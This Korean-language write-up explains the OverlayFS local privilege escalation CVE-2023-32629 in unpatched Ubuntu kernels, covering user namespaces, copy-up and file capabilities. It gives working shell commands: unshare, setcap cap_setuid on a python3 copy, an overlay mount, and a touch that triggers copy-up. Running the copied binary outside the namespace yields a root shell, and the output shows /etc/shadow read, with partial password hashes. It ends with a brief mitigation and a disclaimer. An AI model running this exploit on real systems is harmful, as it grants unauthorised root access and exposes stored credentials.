
OverlayFS 로컬 권한 상승 - 전체 설명부터 완전한 권한 상승까지
OverlayFS 로컬 권한 상승 - 전체 권한 상승까지의 전체 작성
교육 및 승인된 보안 연구 목적으로만 사용하십시오.
심각도: 높음
유형: 로컬 권한 상승 (LPE)
영향: 2023년 5월/6월 패치 이전의 Ubuntu 커널
요구 사항: 권한 없는 사용자 네임스페이스 활성화 (Ubuntu 기본값)
CVE-2023-32629는 Linux 커널의 OverlayFS 구현에서 발생하는 취약점입니다. 사용자 네임스페이스와 파일 시스템 역량 간의 상호 작용을 OverlayFS 복사-업 작업 중에 남용하여, 권한 없는 사용자로부터 실제 호스트 루트로의 로컬 권한 상승을 달성합니다.
unshare -r을 실행하면, 커널은 새로운 사용자 네임스페이스를 생성하고 호스트 UID를 내부의 UID 0에 매핑합니다:
/proc/self/uid_map:
0 1001 1 ← "네임스페이스 내부의 UID 0 = 외부의 UID 1001 (낮은 권한)"
이는 네임스페이스 내부에서 root로 표시되지만, 호스트 리소스에 대한 파일 시스템 권한 검사를 수행할 때 호스트 커널은 항상 실제 UID로 다시 변환합니다.
OverlayFS는 lowerdir (읽기 전용)과 upperdir (읽기-쓰기)를 병합된 뷰로 쌓습니다. 병합된 뷰를 통해 lowerdir의 파일에 쓰기가 발생하면, 커널은 먼저 해당 파일을 upperdir로 복사합니다. 이를 복사-업이라고 합니다.
중요: 복사-업은 네임스페이스에 관계없이 호스트 자격 증명을 사용하여 커널 자체에 의해 수행됩니다. 파일 시스템 역량을 포함한 모든 확장 속성(xattrs)은 이 작업 중에 보존됩니다.
| 메커니즘 | 루트 소유권 필요 | 부여 방식 |
|---|---|---|
| SUID 비트 | ✅ 예 | chmod u+s |
역량 (cap_setuid) | ❌ 아니요 | setcap + 신뢰된 xattr |
이 차이가 익스플로잇의 핵심입니다. 역량은 파일의 소유자와 관계없이 xattr만을 기반으로 커널에 의해 존중됩니다.
unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
echo >> m/python3 &&
cp u/python3 /tmp/rootshell &&
chmod 4755 /tmp/rootshell
"
/tmp/rootshell -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
-rwsr-xr-x 1 lowpriv lowpriv 8016833 /tmp/rootshell
PermissionError: [Errno 1] Operation not permitted
cp 및 chmod 명령은 네임스페이스 내부에서 실행되었으며, 여기서 UID 0은 호스트의 lowpriv에 매핑됩니다. 따라서:
/tmp/rootshell은 실제 루트가 아닌 lowpriv가 소유했습니다.lowpriv가 소유한 파일의 SUID는 오직 lowpriv 권한만 부여합니다. 우리는 이미 이 권한을 가지고 있습니다.cp 작업은 바이너리에서 역량 xattr를 제거했습니다.unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
echo >> m/python3 &&
m/python3 -c 'import os; os.setuid(0); os.system(\"/bin/bash -p\")'
"
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
cat: /etc/shadow: Permission denied
셸은 네임스페이스 내부에서만 루트였습니다. /etc/shadow에 접근하려 할 때, 커널은 변환된 호스트 UID를 사용하여 VFS 권한 검사를 수행했습니다:
프로세스 UID (네임스페이스 내부): 0 (루트처럼 보임)
커널 변환: 0 → 1001 (호스트의 lowpriv)
/etc/shadow 권한: 640 root:shadow
유효 검사자 UID: 1001 (lowpriv)
결과: EACCES — 권한 거부
호스트 파일 시스템 리소스에 접근할 때 네임스페이스 거품은 실제 호스트 루트로 절대 뚫고 나가지 않습니다.
# 1단계: 네임스페이스 내부에서 OverlayFS 설정 후 종료
unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
touch m/python3
"
# touch는 커널 복사-업을 트리거: l/python3 → u/python3
# 커널은 HOST 자격 증명으로 복사-업을 실행하며, cap_setuid xattr 보존
# 2단계: 역량이 호스트 파일 시스템에서 살아남았는지 확인
getcap u/python3
# u/python3 cap_setuid=eip ← 호스트 FS에 설정된 신뢰된 xattr
# 3단계: 네임스페이스 외부에서 실행
u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
root:*:20305:0:99999:7:::
ubuntu:!$6$G/ZfsnyX...
lowpriv:$y$j9T$0XsK...
admin:$y$j9T$TQiE...
1. 사용자 네임스페이스 내부에서 setcap
│
│ l/python3에 신뢰된 xattr로 cap_setuid 작성
▼
2. touch m/python3 → OverlayFS 복사-업 트리거
│
│ 커널이 HOST 자격 증명을 사용하여 l/ → u/ 복사
│ 모든 xattr 보존, cap_setuid 포함
▼
3. u/python3이 HOST 파일 시스템에 존재
│
│ 소유자: lowpriv (역량에 영향 없음)
│ xattr: cap_setuid=eip (커널이 신뢰)
▼
4. 네임스페이스 외부에서 u/python3 실행
│
│ UID 매핑 적용되지 않음
│ 커널이 cap_setuid=eip를 호스트 수준 역량으로 읽음
│ os.setuid(0) → 실제 호스트 루트
▼
5. 셸이 진정한 UID 0을 가짐
│
│ VFS 검사가 실제 루트로 통과
└─ /etc/shadow 읽기 가능
커널은 복사-업 중 사용자 네임스페이스 내에서 설정된 신뢰된 역량 xattr을 존중해서는 안 됩니다. 왜냐하면 이러한 xattr은 호스트 수준의 신뢰를 전달하기 때문입니다. 이 경계를 적용하지 않는 것이 버그입니다.
네임스페이스는 파일에 신뢰된 역량을 설정할 수 있는 능력을 제공했습니다. 커널 복사-업은 그 역량을 호스트 파일 시스템으로 밀반출했습니다. 네임스페이스 외부에서 실행함으로써 실제로 만들었습니다.
sysctl -w kernel.unprivileged_userns_clone=0
unshare + mount overlayfs 조합 모니터링이 도구는 교육 목적 및 승인된 보안 테스트 전용으로 제공됩니다. 귀하가 소유하지 않거나 명시적인 서면 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다. 저자는 오용에 대해 책임을 지지 않습니다.
| 네임스페이스 내부 | 네임스페이스 외부 |
|---|
| UID 0의 의미 | lowpriv (매핑됨) | 실제 루트 |
setuid(0) 효과 | 무효 (이미 NS-루트) | 실제 상승 |
| 호스트 FS 접근 | 변환됨 → lowpriv | 전체 루트 |
cap_setuid 존중 여부 | NS 내부에서만 | 예, 호스트 수준 |